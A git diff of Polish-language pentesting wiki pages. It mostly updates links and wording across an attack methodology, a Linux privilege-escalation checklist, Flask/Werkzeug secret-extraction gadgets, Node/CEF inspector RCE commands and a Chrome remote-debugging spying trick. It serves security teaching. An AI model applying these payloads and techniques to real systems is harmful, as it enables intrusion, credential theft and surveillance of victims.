**Jeśli twoja usługa nie znajduje się w indeksie, poszukaj w Google** innych samouczków i **daj mi znać, jeśli chcesz, żebym to dodał.** Jeśli **nie możesz nic znaleźć** w Google, przeprowadź **własny ślepy pentesting**, możesz zacząć od **połączenia się z usługą, fuzzowania jej i czytania odpowiedzi** (jeśli jakieś są).
@ -52,46 +52,46 @@ Istnieje również kilka narzędzi, które mogą przeprowadzać **automatyczne o
W niektórych scenariuszach **Brute-Force** może być przydatny do **kompromitacji** **usługi**. [**Znajdź tutaj CheatSheet różnych usług do bruteforce**](../generic-hacking/brute-force.md)**.**
### 6- [Phishing](phishing-methodology/)
### 6- [Phishing](phishing-methodology/index.html)
Jeśli w tym momencie nie znalazłeś żadnej interesującej luki, **możesz spróbować phishingu**, aby dostać się do sieci. Możesz przeczytać moją metodologię phishingu [tutaj](phishing-methodology/):
Jeśli w tym momencie nie znalazłeś żadnej interesującej luki, **możesz spróbować phishingu**, aby dostać się do sieci. Możesz przeczytać moją metodologię phishingu [tutaj](phishing-methodology/index.html):
### **7-** [**Uzyskiwanie powłoki**](../generic-hacking/reverse-shells/)
### **7-** [**Uzyskiwanie powłoki**](../generic-hacking/reverse-shells/index.html)
W jakiś sposób powinieneś znaleźć **sposób na wykonanie kodu** na ofierze. Następnie [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania powłoki odwrotnej, byłaby bardzo przydatna](../generic-hacking/reverse-shells/).
W jakiś sposób powinieneś znaleźć **jakąś metodę wykonania kodu** na ofierze. Następnie [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania powłoki odwrotnej, byłaby bardzo przydatna](../generic-hacking/reverse-shells/index.html).
Szczególnie w systemie Windows możesz potrzebować pomocy, aby **unikać programów antywirusowych**: [**Sprawdź tę stronę**](../windows-hardening/av-bypass.md)**.**\\
### 8- Wewnątrz
Jeśli masz problemy z powłoką, możesz tutaj znaleźć małą **kompilację najprzydatniejszych poleceń** dla pentesterów:
Jeśli masz problemy z powłoką, możesz tutaj znaleźć małą **kompilację najbardziej przydatnych poleceń** dla pentesterów:
- [**Linux**](../linux-hardening/useful-linux-commands.md)
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
### **9 -** [**Ekstrakcja**](../generic-hacking/exfiltration.md)
Prawdopodobnie będziesz musiał **wyodrębnić jakieś dane z ofiary** lub nawet **wprowadzić coś** (jak skrypty do eskalacji uprawnień). **Tutaj masz** [**post o wspólnych narzędziach, które możesz użyć do tych celów**](../generic-hacking/exfiltration.md)**.**
Prawdopodobnie będziesz musiał **wyciągnąć jakieś dane z ofiary** lub nawet **wprowadzić coś** (jak skrypty do eskalacji uprawnień). **Tutaj masz** [**post o wspólnych narzędziach, które możesz użyć do tych celów**](../generic-hacking/exfiltration.md)**.**
### **10- Eskalacja uprawnień**
#### **10.1- Lokalne Privesc**
#### **10.1- Lokalna eskalacja uprawnień**
Jeśli **nie jesteś rootem/Administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\
Tutaj znajdziesz **przewodnik po eskalacji uprawnień lokalnie w** [**Linuxie**](../linux-hardening/privilege-escalation/) **i w** [**Windowsie**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Jeśli nie jesteś **rootem/Administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\
Tutaj znajdziesz **przewodnik po eskalacji uprawnień lokalnie w** [**Linuxie**](../linux-hardening/privilege-escalation/index.html) **i w** [**Windowsie**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
Powinieneś również sprawdzić te strony dotyczące tego, jak działa **Windows**:
- [**Uwierzytelnianie, dane logowania, uprawnienia tokenów i UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
- Jak działa [**NTLM**](../windows-hardening/ntlm/)
- [**Uwierzytelnianie, dane logowania, uprawnienia tokenów i UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
- Jak działa [**NTLM**](../windows-hardening/ntlm/index.html)
- Jak [**ukraść dane logowania**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) w Windowsie
- Kilka sztuczek dotyczących [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
- Kilka sztuczek dotyczących [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
**Nie zapomnij sprawdzić najlepszych narzędzi do enumeracji lokalnych ścieżek eskalacji uprawnień w Windowsie i Linuxie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
**Nie zapomnij sprawdzić najlepszych narzędzi do enumeracji lokalnych ścieżek eskalacji uprawnień w Windows i Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Domain Privesc**
#### **10.2- Eskalacja uprawnień w domenie**
Tutaj znajdziesz [**metodologię wyjaśniającą najczęstsze działania w celu enumeracji, eskalacji uprawnień i utrzymania się w Active Directory**](../windows-hardening/active-directory-methodology/). Nawet jeśli jest to tylko podsekcja sekcji, ten proces może być **ekstremalnie delikatny** w zadaniu Pentesting/Red Team.
Tutaj znajdziesz [**metodologię wyjaśniającą najczęstsze działania w celu enumeracji, eskalacji uprawnień i utrzymania się w Active Directory**](../windows-hardening/active-directory-methodology/index.html). Nawet jeśli jest to tylko podsekcja sekcji, ten proces może być **ekstremalnie delikatny** w zadaniu Pentesting/Red Team.
### 11 - POST
@ -105,26 +105,26 @@ Znajdź tutaj różne sposoby [**zrzucania haseł w Windowsie**](https://github.
**Użyj 2 lub 3 różnych typów mechanizmów utrzymywania, aby nie musieć ponownie eksploatować systemu.**\
**Tutaj znajdziesz kilka** [**sztuczek dotyczących utrzymywania w Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
TODO: Uzupełnij post dotyczący utrzymywania w Windowsie i Linuxie
TODO: Uzupełnij post o utrzymywaniu w Windows i Linux
### 12 - Pivoting
Dzięki **zebranym danym logowania** możesz uzyskać dostęp do innych maszyn, lub może musisz **odkryć i zeskanować nowe hosty** (rozpocznij metodologię pentestingu od nowa) w nowych sieciach, w których jest połączona twoja ofiara.\
Dzięki **zebranym danym logowania** możesz uzyskać dostęp do innych maszyn, lub może musisz **odkryć i zeskanować nowe hosty** (rozpocznij metodologię pentestingu od nowa) w nowych sieciach, do których jest podłączona twoja ofiara.\
W takim przypadku tunelowanie może być konieczne. Tutaj możesz znaleźć [**post mówiący o tunelowaniu**](../generic-hacking/tunneling-and-port-forwarding.md).\
Zdecydowanie powinieneś również sprawdzić post o [metodologii pentestingu Active Directory](../windows-hardening/active-directory-methodology/). Znajdziesz tam fajne sztuczki do poruszania się lateralnie, eskalacji uprawnień i zrzucania danych logowania.\
Sprawdź również stronę o [**NTLM**](../windows-hardening/ntlm/), może być bardzo przydatna do pivotowania w środowiskach Windows..
Zdecydowanie powinieneś również sprawdzić post o [metodologii pentestingu Active Directory](../windows-hardening/active-directory-methodology/index.html). Tam znajdziesz fajne sztuczki do poruszania się lateralnie, eskalacji uprawnień i zrzucania danych logowania.\
Sprawdź również stronę o [**NTLM**](../windows-hardening/ntlm/index.html), może być bardzo przydatna do pivotingu w środowiskach Windows..
### WIĘCEJ
#### [Aplikacje Android](../mobile-pentesting/android-app-pentesting/)
#### [Aplikacje Android](../mobile-pentesting/android-app-pentesting/index.html)
#### **Eksploatacja**
- [**Podstawowa eksploatacja Linuxa**](broken-reference/)
- [**Podstawowa eksploatacja Windowsa**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [**Podstawowe narzędzia eksploatacji**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
- [**Podstawowa eksploatacja w Linuxie**](broken-reference/index.html)
- [**Podstawowa eksploatacja w Windowsie**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [**Podstawowe narzędzia eksploatacji**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
#### [**Podstawowy Python**](python/)
#### [**Podstawowy Python**](python/index.html)
#### **Sztuczki kryptograficzne**

View File

@ -6,7 +6,7 @@
- [**Sztuczki hackingowe Pyscript**](pyscript.md)
- [**Deserializacje w Pythonie**](../../pentesting-web/deserialization/index.html#python)
- [**Sztuczki do omijania piaskownic Pythona**](bypass-python-sandboxes/)
- [**Sztuczki do omijania piaskownic Pythona**](bypass-python-sandboxes/index.html)
- [**Podstawowa składnia żądań webowych w Pythonie**](web-requests.md)
- [**Podstawowa składnia Pythona i biblioteki**](basic-python.md)

View File

@ -13,7 +13,7 @@ Główna strona aplikacji Flask prawdopodobnie będzie miała globalny obiekt **
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
W tym przypadku możliwe jest uzyskanie dostępu do tego obiektu, używając dowolnego gadżetu do **uzyskania dostępu do obiektów globalnych** z [**strony Bypass Python sandboxes**](bypass-python-sandboxes/).
W tym przypadku możliwe jest uzyskanie dostępu do tego obiektu, używając dowolnego gadżetu do **uzyskiwania dostępu do obiektów globalnych** z [**strony Bypass Python sandboxes**](bypass-python-sandboxes/index.html).
W przypadku, gdy **vulnerability znajduje się w innym pliku python**, potrzebujesz gadżetu do przeszukiwania plików, aby dotrzeć do głównego, aby **uzyskać dostęp do obiektu globalnego `app.secret_key`**, aby zmienić klucz tajny Flask i móc [**eskalować uprawnienia** znając ten klucz](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
@ -25,7 +25,7 @@ Użyj tego ładunku, aby **zmienić `app.secret_key`** (nazwa w twojej aplikacji
### Werkzeug - machine_id i node uuid
[**Używając tych ładunków z tego opisu**](https://vozec.fr/writeups/tweedle-dum-dee/) będziesz mógł uzyskać dostęp do **machine_id** i **uuid** węzła, które są **głównymi sekretami**, których potrzebujesz, aby [**wygenerować pin Werkzeug**](../../network-services-pentesting/pentesting-web/werkzeug.md), którego możesz użyć do uzyskania dostępu do konsoli python w `/console`, jeśli **tryb debugowania jest włączony:**
[**Używając tych ładunków z tego opisu**](https://vozec.fr/writeups/tweedle-dum-dee/) będziesz mógł uzyskać dostęp do **machine_id** i **uuid** węzła, które są **głównymi sekretami**, których potrzebujesz, aby [**wygenerować pin Werkzeug**](../../network-services-pentesting/pentesting-web/werkzeug.md), którego możesz użyć do uzyskania dostępu do konsoli pythona w `/console`, jeśli **tryb debugowania jest włączony:**
```python
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}

View File

@ -7,13 +7,13 @@
### [Informacje o systemie](privilege-escalation/index.html#system-information)
- [ ] Uzyskaj **informacje o systemie operacyjnym**
- [ ] Sprawdź [**ŚCIEŻKĘ**](privilege-escalation/index.html#path), czy jest jakaś **zapisywalna folder**?
- [ ] Sprawdź [**PATH**](privilege-escalation/index.html#path), czy jest jakaś **zapisywalna folder**?
- [ ] Sprawdź [**zmienne środowiskowe**](privilege-escalation/index.html#env-info), czy są jakieś wrażliwe dane?
- [ ] Szukaj [**eksploitów jądra**](privilege-escalation/index.html#kernel-exploits) **używając skryptów** (DirtyCow?)
- [ ] **Sprawdź**, czy [**wersja sudo** jest podatna](privilege-escalation/index.html#sudo-version)
- [ ] [**Weryfikacja podpisu Dmesg** nie powiodła się](privilege-escalation/index.html#dmesg-signature-verification-failed)
- [ ] Więcej enumeracji systemu ([data, statystyki systemu, informacje o CPU, drukarki](privilege-escalation/index.html#more-system-enumeration))
- [ ] [Enumeruj więcej zabezpieczeń](privilege-escalation/index.html#enumerate-possible-defenses)
- [ ] Więcej informacji o systemie ([data, statystyki systemu, informacje o CPU, drukarki](privilege-escalation/index.html#more-system-enumeration))
- [ ] [Zenumeruj więcej zabezpieczeń](privilege-escalation/index.html#enumerate-possible-defenses)
### [Dyski](privilege-escalation/index.html#drives)
@ -30,15 +30,15 @@
- [ ] Czy jakieś **nieznane oprogramowanie działa**?
- [ ] Czy jakieś oprogramowanie działa z **większymi uprawnieniami niż powinno**?
- [ ] Szukaj **eksploitów działających procesów** (szczególnie wersji działającej).
- [ ] Czy możesz **zmodyfikować binarny plik** jakiegoś działającego procesu?
- [ ] Szukaj **eksploitów działających procesów** (szczególnie wersji, która działa).
- [ ] Czy możesz **zmodyfikować binarny** plik jakiegoś działającego procesu?
- [ ] **Monitoruj procesy** i sprawdź, czy jakiś interesujący proces działa często.
- [ ] Czy możesz **odczytać** jakąś interesującą **pamięć procesu** (gdzie mogą być zapisane hasła)?
- [ ] Czy możesz **odczytać** pamięć **procesu** (gdzie mogą być zapisane hasła)?
### [Zadania zaplanowane/Cron?](privilege-escalation/index.html#scheduled-jobs)
- [ ] Czy [**ŚCIEŻKA**](privilege-escalation/index.html#cron-path) jest modyfikowana przez jakiś cron i możesz w niej **zapisywać**?
- [ ] Jakieś [**znaki wieloznaczne**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) w zadaniu cron?
- [ ] Czy [**PATH**](privilege-escalation/index.html#cron-path) jest modyfikowany przez jakiś cron i możesz w nim **zapisać**?
- [ ] Jakieś [**wildcard**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) w zadaniu cron?
- [ ] Jakiś [**modyfikowalny skrypt**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) jest **wykonywany** lub znajduje się w **modyfikowalnym folderze**?
- [ ] Czy wykryłeś, że jakiś **skrypt** może być lub jest [**wykonywany** bardzo **często**](privilege-escalation/index.html#frequent-cron-jobs)? (co 1, 2 lub 5 minut)
@ -46,7 +46,7 @@
- [ ] Jakikolwiek **zapisywalny plik .service**?
- [ ] Jakikolwiek **zapisywalny plik binarny** wykonywany przez **usługę**?
- [ ] Jakikolwiek **zapisywalny folder w PATH systemd**?
- [ ] Jakikolwiek **zapisywalny folder w systemd PATH**?
### [Timery](privilege-escalation/index.html#timers)
@ -65,27 +65,27 @@
### [Sieć](privilege-escalation/index.html#network)
- [ ] Zenumeruj sieć, aby wiedzieć, gdzie jesteś
- [ ] **Otwarte porty, do których nie mogłeś uzyskać dostępu przed** uzyskaniem powłoki wewnątrz maszyny?
- [ ] **Otwarte porty, do których nie mogłeś uzyskać dostępu** przed uzyskaniem powłoki wewnątrz maszyny?
- [ ] Czy możesz **przechwytywać ruch** używając `tcpdump`?
### [Użytkownicy](privilege-escalation/index.html#users)
- [ ] Ogólna **enumeracja użytkowników/grup**
- [ ] Czy masz **bardzo duży UID**? Czy **maszyna** jest **podatna**?
- [ ] Czy możesz [**eskalować uprawnienia dzięki grupie**](privilege-escalation/interesting-groups-linux-pe/), do której należysz?
- [ ] Czy możesz [**eskalować uprawnienia dzięki grupie**](privilege-escalation/interesting-groups-linux-pe/index.html), do której należysz?
- [ ] **Dane z schowka**?
- [ ] Polityka haseł?
- [ ] Spróbuj **użyć** każdego **znanego hasła**, które odkryłeś wcześniej, aby zalogować się **z każdym** możliwym **użytkownikiem**. Spróbuj również zalogować się bez hasła.
### [Zapisywalna ŚCIEŻKA](privilege-escalation/index.html#writable-path-abuses)
### [Zapisywalny PATH](privilege-escalation/index.html#writable-path-abuses)
- [ ] Jeśli masz **uprawnienia do zapisu w jakimś folderze w PATH**, możesz być w stanie eskalować uprawnienia
### [Polecenia SUDO i SUID](privilege-escalation/index.html#sudo-and-suid)
### [Komendy SUDO i SUID](privilege-escalation/index.html#sudo-and-suid)
- [ ] Czy możesz wykonać **jakiekolwiek polecenie z sudo**? Czy możesz użyć go do ODCZYTU, ZAPISU lub WYKONANIA czegokolwiek jako root? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Czy możesz wykonać **jakąkolwiek komendę z sudo**? Czy możesz użyć tego do ODCZYTU, ZAPISU lub WYKONANIA czegokolwiek jako root? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Czy jakiś **eksploatowalny plik binarny SUID**? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Czy [**polecenia sudo** są **ograniczone** przez **ścieżkę**? czy możesz **obejść** te ograniczenia](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
- [ ] Czy [**komendy sudo** są **ograniczone** przez **ścieżkę**? czy możesz **obejść** te ograniczenia](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
- [ ] [**Sudo/SUID binarny bez wskazanej ścieżki**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
- [ ] [**SUID binarny z określoną ścieżką**](privilege-escalation/index.html#suid-binary-with-command-path)? Obejście
- [ ] [**Vuln LD_PRELOAD**](privilege-escalation/index.html#ld_preload)
@ -93,7 +93,7 @@
- [ ] [**Dostępne tokeny SUDO**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Czy możesz stworzyć token SUDO**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
- [ ] Czy możesz [**czytać lub modyfikować pliki sudoers**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)?
- [ ] Czy możesz [**zmodyfikować /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d)?
- [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas) polecenie
- [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas) komenda
### [Uprawnienia](privilege-escalation/index.html#capabilities)
@ -115,8 +115,8 @@
### [Interesujące pliki](privilege-escalation/index.html#interesting-files)
- [ ] **Pliki profilu** - Odczytaj wrażliwe dane? Zapisz do privesc?
- [ ] **Pliki passwd/shadow** - Odczytaj wrażliwe dane? Zapisz do privesc?
- [ ] **Pliki profilu** - Czytaj wrażliwe dane? Zapisz do privesc?
- [ ] **Pliki passwd/shadow** - Czytaj wrażliwe dane? Zapisz do privesc?
- [ ] **Sprawdź powszechnie interesujące foldery** pod kątem wrażliwych danych
- [ ] **Dziwne lokalizacje/Pliki własnościowe**, do których możesz mieć dostęp lub zmieniać pliki wykonywalne
- [ ] **Zmodyfikowane** w ostatnich minutach
@ -130,10 +130,10 @@
### [**Zapisywalne pliki**](privilege-escalation/index.html#writable-files)
- [ ] **Modyfikuj bibliotekę Pythona** w celu wykonania dowolnych poleceń?
- [ ] **Modyfikuj bibliotekę Pythona** aby wykonywać dowolne komendy?
- [ ] Czy możesz **modyfikować pliki dziennika**? **Eksploit Logtotten**
- [ ] Czy możesz **modyfikować /etc/sysconfig/network-scripts/**? Eksploit Centos/Redhat
- [ ] Czy możesz [**zapisywać w plikach ini, int.d, systemd lub rc.d**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)?
- [ ] Czy możesz [**zapisać w plikach ini, int.d, systemd lub rc.d**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)?
### [**Inne sztuczki**](privilege-escalation/index.html#other-tricks)

View File

@ -29,18 +29,18 @@ For help, see: https://nodejs.org/en/docs/inspector
```
Procesy oparte na **CEF** (**Chromium Embedded Framework**) muszą używać parametru: `--remote-debugging-port=9222`, aby otworzyć **debugger** (ochrony SSRF pozostają bardzo podobne). Jednak **zamiast** przyznawania sesji **debug** **NodeJS**, będą komunikować się z przeglądarką za pomocą [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), co jest interfejsem do kontrolowania przeglądarki, ale nie ma bezpośredniego RCE.
Kiedy uruchomisz debugowaną przeglądarkę, coś takiego się pojawi:
Kiedy uruchomisz debugowaną przeglądarkę, pojawi się coś takiego:
```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
```
### Przeglądarki, WebSockety i polityka tego samego pochodzenia <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
Strony internetowe otwarte w przeglądarce mogą wysyłać żądania WebSocket i HTTP zgodnie z modelem bezpieczeństwa przeglądarki. **Początkowe połączenie HTTP** jest konieczne, aby **uzyskać unikalny identyfikator sesji debuggera**. **Polityka tego samego pochodzenia** **zapobiega** stronom internetowym w nawiązywaniu **tego połączenia HTTP**. Dla dodatkowego bezpieczeństwa przed [**atakami DNS rebinding**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js weryfikuje, że **nagłówki 'Host'** dla połączenia albo określają **adres IP**, albo **`localhost`**, albo **`localhost6`** dokładnie.
Strony internetowe otwarte w przeglądarce mogą wysyłać żądania WebSocket i HTTP zgodnie z modelem bezpieczeństwa przeglądarki. **Początkowe połączenie HTTP** jest konieczne, aby **uzyskać unikalny identyfikator sesji debuggera**. **Polityka same-origin** **zapobiega** stronom internetowym w nawiązywaniu **tego połączenia HTTP**. Dla dodatkowego bezpieczeństwa przed [**atakami DNS rebinding**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js weryfikuje, że **nagłówki 'Host'** dla połączenia albo określają **adres IP**, albo **`localhost`**, albo **`localhost6`** dokładnie.
> [!NOTE]
> Te **środki bezpieczeństwa zapobiegają wykorzystaniu inspektora** do uruchamiania kodu poprzez **wysłanie żądania HTTP** (co mogłoby być zrealizowane poprzez wykorzystanie luki SSRF).
> Te **środki bezpieczeństwa zapobiegają wykorzystaniu inspektora** do uruchamiania kodu poprzez **wysłanie tylko żądania HTTP** (co mogłoby być zrealizowane poprzez wykorzystanie luki SSRF).
### Uruchamianie inspektora w działających procesach
### Starting inspector in running processes
Możesz wysłać **sygnał SIGUSR1** do działającego procesu nodejs, aby **uruchomić inspektora** na domyślnym porcie. Należy jednak pamiętać, że musisz mieć wystarczające uprawnienia, więc może to dać ci **uprzywilejowany dostęp do informacji wewnątrz procesu**, ale nie bezpośrednią eskalację uprawnień.
```bash
@ -73,12 +73,12 @@ Narzędzie [**https://github.com/taviso/cefdebug**](https://github.com/taviso/ce
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
```
> [!NOTE]
> Zauważ, że **eksploity RCE NodeJS nie będą działać**, jeśli są połączone z przeglądarką za pomocą [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (musisz sprawdzić API, aby znaleźć interesujące rzeczy do zrobienia z tym).
> Zauważ, że **eksploity RCE w NodeJS nie będą działać**, jeśli są połączone z przeglądarką za pomocą [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (musisz sprawdzić API, aby znaleźć interesujące rzeczy do zrobienia z tym).
## RCE w Debuggerze/Inspektorze NodeJS
> [!NOTE]
> Jeśli przyszedłeś tutaj, szukając jak uzyskać [**RCE z XSS w Electron, sprawdź tę stronę.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
> Jeśli przyszedłeś tutaj, szukając jak uzyskać [**RCE z XSS w Electron, sprawdź tę stronę.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
Niektóre powszechne sposoby uzyskania **RCE**, gdy możesz **połączyć** się z **inspektorem** Node, to użycie czegoś takiego (wygląda na to, że **to nie zadziała w połączeniu z protokołem Chrome DevTools**):
```javascript
@ -94,9 +94,9 @@ W tej sekcji po prostu wymienię interesujące rzeczy, które znalazłem, a któ
### Wstrzykiwanie parametrów za pomocą głębokich linków
W [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) firma Rhino Security odkryła, że aplikacja oparta na CEF **zarejestrowała niestandardowy URI** w systemie (workspaces://), który odbierał pełny URI, a następnie **uruchamiał aplikację opartą na CEF** z konfiguracją, która była częściowo konstruowana z tego URI.
W [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) firma Rhino Security odkryła, że aplikacja oparta na CEF **zarejestrowała niestandardowy URI** w systemie (workspaces://index.html), który odbierał pełny URI, a następnie **uruchamiał aplikację opartą na CEF** z konfiguracją, która była częściowo konstruowana z tego URI.
Odkryto, że parametry URI były dekodowane URL i używane do uruchamiania podstawowej aplikacji CEF, co pozwalało użytkownikowi na **wstrzykiwanie** flagi **`--gpu-launcher`** w **wierszu poleceń** i wykonywanie dowolnych rzeczy.
Odkryto, że parametry URI były dekodowane URL i używane do uruchamiania podstawowej aplikacji CEF, co pozwalało użytkownikowi **wstrzykiwać** flagę **`--gpu-launcher`** w **wierszu poleceń** i wykonywać dowolne rzeczy.
Więc, ładunek taki jak:
```
@ -128,7 +128,7 @@ Zgodnie z tym postem: [https://medium.com/@knownsec404team/counter-webdriver-fro
W rzeczywistym środowisku i **po skompromitowaniu** komputera użytkownika, który używa przeglądarki opartej na Chrome/Chromium, możesz uruchomić proces Chrome z **włączonym debugowaniem i przekierować port debugowania**, aby uzyskać do niego dostęp. W ten sposób będziesz mógł **inspekcjonować wszystko, co ofiara robi w Chrome i kraść wrażliwe informacje**.
Sposób na to w ukryciu to **zakończenie każdego procesu Chrome** i następnie wywołanie czegoś takiego jak
Sposób na to, aby być niezauważonym, to **zakończyć każdy proces Chrome** i następnie wywołać coś takiego jak
```bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
```

View File

@ -6,13 +6,13 @@
Jeśli nie znasz macOS, powinieneś zacząć od nauki podstaw macOS:
- Specjalne **pliki i uprawnienia** macOS:
- Specjalne pliki i **uprawnienia macOS:**
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- Powszechni **użytkownicy** macOS
- Typowi **użytkownicy macOS**
{{#ref}}
macos-users.md
@ -30,14 +30,14 @@ macos-applefs.md
mac-os-architecture/
{{#endref}}
- Powszechne **usługi i protokoły sieciowe** macOS
- Typowe usługi i **protokoły sieciowe macOS**
{{#ref}}
macos-protocols.md
{{#endref}}
- **Oprogramowanie open source** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- Aby pobrać `tar.gz`, zmień adres URL, na przykład [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) na [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- Aby pobrać `tar.gz`, zmień URL, taki jak [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) na [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
@ -71,7 +71,7 @@ Może to wystąpić w następujących sytuacjach:
- Plik użyty znajduje się w katalogu należącym do użytkownika (użytkownik mógłby utworzyć plik)
- Plik użyty znajduje się w katalogu należącym do roota, ale użytkownik ma do niego dostęp do zapisu z powodu grupy (użytkownik mógłby utworzyć plik)
Możliwość **utworzenia pliku**, który będzie **używany przez roota**, pozwala użytkownikowi **wykorzystać jego zawartość** lub nawet utworzyć **symlinki/twarde linki**, aby wskazać go w inne miejsce.
Możliwość **utworzenia pliku**, który będzie **używany przez roota**, pozwala użytkownikowi **wykorzystać jego zawartość** lub nawet utworzyć **symlinki/hardlinki**, aby wskazać go w inne miejsce.
W przypadku tego rodzaju luk nie zapomnij **sprawdzić podatnych instalatorów `.pkg`**:
@ -81,7 +81,7 @@ macos-files-folders-and-binaries/macos-installers-abuse.md
### Obsługa rozszerzeń plików i schematów URL
Dziwne aplikacje zarejestrowane przez rozszerzenia plików mogą być wykorzystywane, a różne aplikacje mogą być zarejestrowane do otwierania określonych protokołów
Dziwne aplikacje zarejestrowane przez rozszerzenia plików mogą być nadużywane, a różne aplikacje mogą być zarejestrowane do otwierania konkretnych protokołów
{{#ref}}
macos-file-extension-apps.md
@ -93,13 +93,13 @@ W macOS **aplikacje i pliki binarne mogą mieć uprawnienia** do dostępu do fol
Dlatego atakujący, który chce skutecznie skompromitować maszynę macOS, będzie musiał **eskalować swoje uprawnienia TCC** (lub nawet **obejść SIP**, w zależności od jego potrzeb).
Te uprawnienia są zazwyczaj nadawane w formie **uprawnień**, z którymi aplikacja jest podpisana, lub aplikacja może poprosić o pewne dostępy, a po **zatwierdzeniu ich przez użytkownika** mogą być one znalezione w **bazach danych TCC**. Innym sposobem, w jaki proces może uzyskać te uprawnienia, jest bycie **dzieckiem procesu** z tymi **uprawnieniami**, ponieważ są one zazwyczaj **dziedziczone**.
Te uprawnienia są zazwyczaj przyznawane w formie **uprawnień**, z którymi aplikacja jest podpisana, lub aplikacja może poprosić o pewne dostępy, a po **zatwierdzeniu ich przez użytkownika** mogą być one znalezione w **bazach danych TCC**. Innym sposobem, w jaki proces może uzyskać te uprawnienia, jest bycie **dzieckiem procesu** z tymi **uprawnieniami**, ponieważ są one zazwyczaj **dziedziczone**.
Śledź te linki, aby znaleźć różne sposoby [**eskalacji uprawnień w TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), aby [**obejść TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) i jak w przeszłości [**SIP został obejrzany**](macos-security-protections/macos-sip.md#sip-bypasses).
Śledź te linki, aby znaleźć różne sposoby [**eskalacji uprawnień w TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), aby [**obejść TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) i jak w przeszłości [**SIP został obejrzany**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Traditional Privilege Escalation
Oczywiście z perspektywy zespołu red team również powinieneś być zainteresowany eskalacją do roota. Sprawdź następujący post, aby uzyskać kilka wskazówek:
Oczywiście z perspektywy red teamu powinieneś być również zainteresowany eskalacją do roota. Sprawdź następujący post, aby uzyskać kilka wskazówek:
{{#ref}}
macos-privilege-escalation.md

View File

@ -5,7 +5,7 @@
